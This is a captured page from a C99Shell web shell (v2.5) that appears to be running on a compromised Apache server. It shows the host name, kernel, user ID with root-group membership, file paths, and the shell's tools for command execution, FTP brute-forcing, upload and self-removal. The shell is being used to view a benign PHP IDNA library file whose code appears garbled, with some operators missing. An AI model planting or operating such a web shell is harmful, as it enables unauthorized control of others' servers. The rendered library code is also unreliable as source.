!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/league/uri-interfaces/src/Idna/   drwxr-xr-x
Free 28.21 GB of 117.98 GB (23.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Idna.php (7.21 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * League.Uri (https://uri.thephpleague.com)
 *
 * (c) Ignace Nyamagana Butera <nyamsprod@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

declare(strict_types=1);

namespace 
League\Uri\Idna;

use 
League\Uri\Exceptions\IdnaConversionFailed;
use 
League\Uri\Exceptions\IdnSupportMissing;
use 
League\Uri\Exceptions\SyntaxError;
use function 
defined;
use function 
function_exists;
use function 
idn_to_ascii;
use function 
idn_to_utf8;
use function 
rawurldecode;
use const 
INTL_IDNA_VARIANT_UTS46;

/**
 * @see https://unicode-org.github.io/icu-docs/apidoc/released/icu4c/uidna_8h.html
 */
final class Idna
{
    private const 
REGEXP_IDNA_PATTERN '/[^\x20-\x7f]/';
    private const 
MAX_DOMAIN_LENGTH 253;
    private const 
MAX_LABEL_LENGTH 63;

    
/**
     * General registered name regular expression.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-3.2.2
     * @see https://regex101.com/r/fptU8V/1
     */
    
private const REGEXP_REGISTERED_NAME '/
        (?(DEFINE)
            (?<unreserved>[a-z0-9_~\-])   # . is missing as it is used to separate labels
            (?<sub_delims>[!$&\'()*+,;=])
            (?<encoded>%[A-F0-9]{2})
            (?<reg_name>(?:(?&unreserved)|(?&sub_delims)|(?&encoded))*)
        )
            ^(?:(?&reg_name)\.)*(?&reg_name)\.?$
        /ix'
;

    
/**
     * IDNA options.
     */
    
public const IDNA_DEFAULT                    0;
    public const 
IDNA_ALLOW_UNASSIGNED           1;
    public const 
IDNA_USE_STD3_RULES             2;
    public const 
IDNA_CHECK_BIDI                 4;
    public const 
IDNA_CHECK_CONTEXTJ             8;
    public const 
IDNA_NONTRANSITIONAL_TO_ASCII   0x10;
    public const 
IDNA_NONTRANSITIONAL_TO_UNICODE 0x20;
    public const 
IDNA_CHECK_CONTEXTO             0x40;

    
/**
     * IDNA errors.
     */
    
public const ERROR_NONE                   0;
    public const 
ERROR_EMPTY_LABEL            1;
    public const 
ERROR_LABEL_TOO_LONG         2;
    public const 
ERROR_DOMAIN_NAME_TOO_LONG   4;
    public const 
ERROR_LEADING_HYPHEN         8;
    public const 
ERROR_TRAILING_HYPHEN        0x10;
    public const 
ERROR_HYPHEN_3_4             0x20;
    public const 
ERROR_LEADING_COMBINING_MARK 0x40;
    public const 
ERROR_DISALLOWED             0x80;
    public const 
ERROR_PUNYCODE               0x100;
    public const 
ERROR_LABEL_HAS_DOT          0x200;
    public const 
ERROR_INVALID_ACE_LABEL      0x400;
    public const 
ERROR_BIDI                   0x800;
    public const 
ERROR_CONTEXTJ               0x1000;
    public const 
ERROR_CONTEXTO_PUNCTUATION   0x2000;
    public const 
ERROR_CONTEXTO_DIGITS        0x4000;

    
/**
     * IDNA default options.
     */
    
public const IDNA2008_ASCII self::IDNA_NONTRANSITIONAL_TO_ASCII
        
self::IDNA_CHECK_BIDI
        
self::IDNA_USE_STD3_RULES
        
self::IDNA_CHECK_CONTEXTJ;
    public const 
IDNA2008_UNICODE self::IDNA_NONTRANSITIONAL_TO_UNICODE
        
self::IDNA_CHECK_BIDI
        
self::IDNA_USE_STD3_RULES
        
self::IDNA_CHECK_CONTEXTJ;

    
/**
     * @codeCoverageIgnore
     */
    
private static function supportsIdna(): void
    
{
        static 
$idnSupport;
        if (
null === $idnSupport) {
            
$idnSupport function_exists('\idn_to_ascii') && defined('\INTL_IDNA_VARIANT_UTS46');
        }

        if (!
$idnSupport) {
            throw new 
IdnSupportMissing('IDN host can not be processed. Verify that ext/intl is installed for IDN support and that ICU is at least version 4.6.');
        }
    }

    
/**
     * Converts the input to its IDNA ASCII form.
     *
     * This method returns the string converted to IDN ASCII form
     *
     * @throws SyntaxError if the string can not be converted to ASCII using IDN UTS46 algorithm
     */
    
public static function toAscii(string $domainint $options): IdnaInfo
    
{
        
$domain rawurldecode($domain);

        if (
=== preg_match(self::REGEXP_IDNA_PATTERN$domain)) {
            
self::supportsIdna();

            
/* @param-out array{errors: int, isTransitionalDifferent: bool, result: string} $idnaInfo */
            
idn_to_ascii($domain$optionsINTL_IDNA_VARIANT_UTS46$idnaInfo);
            if ([] === 
$idnaInfo) {
                return 
IdnaInfo::fromIntl([
                    
'result' => strtolower($domain),
                    
'isTransitionalDifferent' => false,
                    
'errors' => self::validateDomainAndLabelLength($domain),
                ]);
            }

            
/* @var array{errors: int, isTransitionalDifferent: bool, result: string} $idnaInfo */
            
return IdnaInfo::fromIntl($idnaInfo);
        }

        
$error self::ERROR_NONE;
        if (
!== preg_match(self::REGEXP_REGISTERED_NAME$domain)) {
            
$error |= self::ERROR_DISALLOWED;
        }

        return 
IdnaInfo::fromIntl([
            
'result' => strtolower($domain),
            
'isTransitionalDifferent' => false,
            
'errors' => self::validateDomainAndLabelLength($domain) | $error,
        ]);
    }

    
/**
     * Converts the input to its IDNA UNICODE form.
     *
     * This method returns the string converted to IDN UNICODE form
     *
     * @throws SyntaxError if the string can not be converted to UNICODE using IDN UTS46 algorithm
     */
    
public static function toUnicode(string $domainint $options): IdnaInfo
    
{
        
$domain rawurldecode($domain);

        if (
false === stripos($domain'xn--')) {
            return 
IdnaInfo::fromIntl(['result' => $domain'isTransitionalDifferent' => false'errors' => self::ERROR_NONE]);
        }

        
self::supportsIdna();

        
/* @param-out array{errors: int, isTransitionalDifferent: bool, result: string} $idnaInfo */
        
idn_to_utf8($domain$optionsINTL_IDNA_VARIANT_UTS46$idnaInfo);
        if ([] === 
$idnaInfo) {
            throw 
IdnaConversionFailed::dueToInvalidHost($domain);
        }

        
/* @var array{errors: int, isTransitionalDifferent: bool, result: string} $idnaInfo */
        
return IdnaInfo::fromIntl($idnaInfo);
    }

    
/**
     * Adapted from https://github.com/TRowbotham/idna.
     *
     * @see https://github.com/TRowbotham/idna/blob/master/src/Idna.php#L236
     */
    
private static function validateDomainAndLabelLength(string $domain): int
    
{
        
$error self::ERROR_NONE;
        
$labels explode('.'$domain);
        
$maxDomainSize self::MAX_DOMAIN_LENGTH;
        
$length count($labels);

        
// If the last label is empty and it is not the first label, then it is the root label.
        // Increase the max size by 1, making it 254, to account for the root label's "."
        // delimiter. This also means we don't need to check the last label's length for being too
        // long.
        
if ($length && $labels[$length 1] === '') {
            ++
$maxDomainSize;
            
array_pop($labels);
        }

        if (
strlen($domain) > $maxDomainSize) {
            
$error |= self::ERROR_DOMAIN_NAME_TOO_LONG;
        }

        foreach (
$labels as $label) {
            if (
strlen($label) > self::MAX_LABEL_LENGTH) {
                
$error |= self::ERROR_LABEL_TOO_LONG;

                break;
            }
        }

        return 
$error;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--